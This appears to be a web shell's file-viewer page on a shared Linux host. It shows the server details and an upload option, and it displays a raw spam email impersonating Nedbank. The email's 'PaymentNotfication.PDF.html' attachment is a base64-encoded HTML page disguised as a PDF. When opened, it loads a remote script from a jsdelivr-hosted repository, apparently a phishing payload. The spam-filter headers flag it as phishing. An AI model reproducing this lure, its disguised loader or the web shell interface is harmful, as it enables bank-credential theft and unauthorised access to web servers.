HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/govancoz/mail/.spam/new/1759081882.M852148P2529610.zacp120.webway.host,S=7296,W=7362
Return-Path: <eStatement@magikwebservices.com>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
	by zacp120.webway.host with LMTP
	id 6DjgMJp12WhKmSYA8rC0kQ
	(envelope-from <eStatement@magikwebservices.com>)
	for <govancoz+spam@zacp120.webway.host>; Sun, 28 Sep 2025 19:51:22 +0200
Return-path: <eStatement@magikwebservices.com>
Envelope-to: candice@govan.co.za
Delivery-date: Sun, 28 Sep 2025 19:51:22 +0200
Received: from 89.236.209.230.static.ip.tps.uz ([89.236.209.230]:59979 helo=magikwebservices.com)
	by zacp120.webway.host with esmtp (Exim 4.98.2)
	(envelope-from <eStatement@magikwebservices.com>)
	id 1v2vYL-0000000Afkg-07Q4
	for candice@govan.co.za;
	Sun, 28 Sep 2025 19:51:22 +0200
From: "Nedbank Ltd"<eStatement@magikwebservices.com>
To: candice@govan.co.za
Date: 28 Sep 2025 22:50:34 +0500
Message-ID: <20250928225034.8CC1501CF991344D@magikwebservices.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_417A9863.37567E90"
X-Spam-Status: Yes, score=11.0
X-Spam-Score: 110
X-Spam-Bar: +++++++++++
X-Spam-Report: =?ISO-8859-1?Q?Spam_detection_software=2C_running_on_the_system_=22zacp120=2Ewebway?= =?ISO-8859-1?Q?=2Ehost=22=2C=0A_has_identified_this_incoming_email_a?= =?ISO-8859-1?Q?s_possible_spam=2E__The_original=0A_message_has_been_?= =?ISO-8859-1?Q?attached_to_this_so_you_can_view_it_or_label=0A_simil?= =?ISO-8859-1?Q?ar_future_email=2E__If_you_have_any_questions=2C_see=0A_?= =?ISO-8859-1?Q?root=5C=40localhost_for_details=2E=0A_Content_preview?= =?ISO-8859-1?Q?=3A__A_payment_has_been_made_to_your_account=2E_To_vi?= =?ISO-8859-1?Q?ew_the_details=0A____of_the_payment=2C_please_open_th?= =?ISO-8859-1?Q?e_attached_PDF_file=2E_You_may_require_Adobe=0A___Acr?= =?ISO-8859-1?Q?obat_Reader_on_your_computer_to_open_the_PDF_file=2E_?= =?ISO-8859-1?Q?=0A_Content_analysis_details=3A___=2811=2E0_points=2C_?= =?ISO-8859-1?Q?5=2E0_required=29=0A__pts_rule_name______________desc?= =?ISO-8859-1?Q?ription=0A_----_----------------------_--------------?= =?ISO-8859-1?Q?------------------------------------=0A__1=2E2_RCVD=5FI?= =?ISO-8859-1?Q?N=5FBL=5FSPAMCOP=5FNET_RBL=3A_Received_via_a_relay_in?= =?ISO-8859-1?Q?_bl=2Espamcop=2Enet=0A______________=5BBlocked_-_see_?= =?ISO-8859-1?Q?=3Chttps=3A//www=2Espamcop=2Enet/bl=2Eshtml=3F89=2E23?= =?ISO-8859-1?Q?6=2E209=2E230=3E=5D=0A__0=2E0_RCVD=5FIN=5FVALIDITY=5FS?= =?ISO-8859-1?Q?AFE=5FBLOCKED_RBL=3A_ADMINISTRATOR_NOTICE=3A_The_quer?= =?ISO-8859-1?Q?y_to=0A______________________________Validity_was_blo?= =?ISO-8859-1?Q?cked=2E__See=0A_____________________________https=3A/?= =?ISO-8859-1?Q?/knowledge=2Evalidity=2Ecom/hc/en-us/articles/2096173?= =?ISO-8859-1?Q?0681243=0A______________________________for_more_info?= =?ISO-8859-1?Q?rmation=2E=0A_____________________________=5B89=2E236?= =?ISO-8859-1?Q?=2E209=2E230_listed_in_sa-accredit=2Ehabeas=2Ecom=5D=0A?= =?ISO-8859-1?Q?__0=2E0_URIBL=5FBLOCKED__________ADMINISTRATOR_NOTICE?= =?ISO-8859-1?Q?=3A_The_query_to_URIBL_was_blocked=2E=0A_____________?= =?ISO-8859-1?Q?________________See=0A_____________________________ht?= =?ISO-8859-1?Q?tp=3A//wiki=2Eapache=2Eorg/spamassassin/DnsBlocklists?= =?ISO-8859-1?Q?#dnsbl-block=0A______________________________for_more?= =?ISO-8859-1?Q?_information=2E=0A_____________________________=5BURI?= =?ISO-8859-1?Q?=3A_bank=2Eing=5D=0A_____________________________=5BU?= =?ISO-8859-1?Q?RI=3A_jsdelivr=2Enet=5D=0A__0=2E0_RCVD=5FIN=5FVALIDIT?= =?ISO-8859-1?Q?Y=5FCERTIFIED=5FBLOCKED_RBL=3A_ADMINISTRATOR_NOTICE=3A_?= =?ISO-8859-1?Q?The=0A_____________________________query_to_Validity_?= =?ISO-8859-1?Q?was_blocked=2E__See=0A_____________________________ht?= =?ISO-8859-1?Q?tps=3A//knowledge=2Evalidity=2Ecom/hc/en-us/articles/?= =?ISO-8859-1?Q?20961730681243=0A______________________________for_mo?= =?ISO-8859-1?Q?re_information=2E=0A_________________________=5B89=2E2?= =?ISO-8859-1?Q?36=2E209=2E230_listed_in_sa-trusted=2Ebondedsender=2Eo?= =?ISO-8859-1?Q?rg=5D=0A__0=2E0_RCVD=5FIN=5FVALIDITY=5FRPBL=5FBLOCKED?= =?ISO-8859-1?Q?_RBL=3A_ADMINISTRATOR_NOTICE=3A_The_query_to=0A______?= =?ISO-8859-1?Q?________________________Validity_was_blocked=2E__See=0A_?= =?ISO-8859-1?Q?____________________________https=3A//knowledge=2Eval?= =?ISO-8859-1?Q?idity=2Ecom/hc/en-us/articles/20961730681243=0A______?= =?ISO-8859-1?Q?________________________for_more_information=2E=0A___?= =?ISO-8859-1?Q?_________________________=5B89=2E236=2E209=2E230_list?= =?ISO-8859-1?Q?ed_in_bl=2Escore=2Esenderscore=2Ecom=5D=0A__1=2E5_SPF?= =?ISO-8859-1?Q?=5FSOFTFAIL___________SPF=3A_sender_does_not_match_SP?= =?ISO-8859-1?Q?F_record_=28softfail=29=0A__1=2E5_SPF=5FHELO=5FSOFTFA?= =?ISO-8859-1?Q?IL______SPF=3A_HELO_does_not_match_SPF_record_=28soft?= =?ISO-8859-1?Q?fail=29=0A__0=2E0_KAM=5FDMARC=5FSTATUS_______Test_Rul?= =?ISO-8859-1?Q?e_for_DKIM_or_SPF_Failure_with_Strict=0A_____________?= =?ISO-8859-1?Q?________________Alignment=0A__0=2E0_TVD=5FRCVD=5FIP__?= =?ISO-8859-1?Q?__________Message_was_received_from_an_IP_address=0A_?= =?ISO-8859-1?Q?_0=2E1_HTML=5FTAG=5FBALANCE=5FBODY__BODY=3A_HTML_has_?= =?ISO-8859-1?Q?unbalanced_=22body=22_tags=0A__0=2E0_HTML=5FMESSAGE__?= =?ISO-8859-1?Q?_________BODY=3A_HTML_included_in_message=0A__0=2E1_M?= =?ISO-8859-1?Q?IME=5FHTML=5FONLY_________BODY=3A_Message_only_has_te?= =?ISO-8859-1?Q?xt/html_MIME_parts=0A__3=2E5_PHISH=5FATTACH__________?= =?ISO-8859-1?Q?_Attachment_filename_suspicious=2C_probable_phishing=0A_?= =?ISO-8859-1?Q?_3=2E0_KAM=5FBADPDF3____________Likely_Fake_PDF=0A__0?= =?ISO-8859-1?Q?=2E0_T=5FHTML=5FATTACH__________HTML_attachment_to_by?= =?ISO-8859-1?Q?pass_scanning=3F?=
X-Spam-Flag: YES
Subject:  ***SPAM***  Payment Notification

This is a multi-part message in MIME format.

------=_NextPart_000_0012_417A9863.37567E90
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">

<HTML><HEAD>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<BODY style=3D"MARGIN: 0.5em">
<P>A payment has been made to your account.<BR>To view the details of the p=
ayment, please open the attached PDF file.</P>
<P>You may require Adobe Acrobat Reader on your computer to open the PDF fi=
le.</P>
<P>Please do not reply as this email was sent from an unattended mailbox.</=
P></BODY></HTML>
------=_NextPart_000_0012_417A9863.37567E90
Content-Type: text/html; name="PaymentNotfication.PDF.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="PaymentNotfication.PDF.html"

PGh0bWw+Cgo8aGVhZD4KPHRpdGxlPk9ubGluZSBCYW5rLmluZy48L3RpdGxlPgo8aW5wdXQg
aWQ9ImF1dG9jYWxsIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIxIiAvPgo8aW5wdXQgaWQ9InB0
bzQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IiIgLz4KPGJvZHk+CjxpbnB1dCBpZD0iYXV0b2Nh
bGwiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IjEiIC8+CjxpbnB1dCBpZD0icHRvNCIgdHlwZT0i
aGlkZGVuIiB2YWx1ZT0iIiAvPgo8bWFpbiBjbGFzcz0ibG9hZGluZy1jb250YWluZXIiPgog
IDxoND5QbGVhc2Ugd2FpdDxzcGFuIGlkPSJkb3RzIj4uLi48L3NwYW4+PC9oND4KPC9tYWlu
Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L2doL2NzcHFlL21hbGlr
QHJlZnMvaGVhZHMvbWFpbi9jb21wYXJ0aWJpbGl0eS5qcyI+PC9zY3JpcHQ+Cgo8L2JvZHk+
CjwvaHRtbD4KIAoKCiAKPC9oZWFkPgo8Ym9keT4KCjwvaHRtbD4=

------=_NextPart_000_0012_417A9863.37567E90--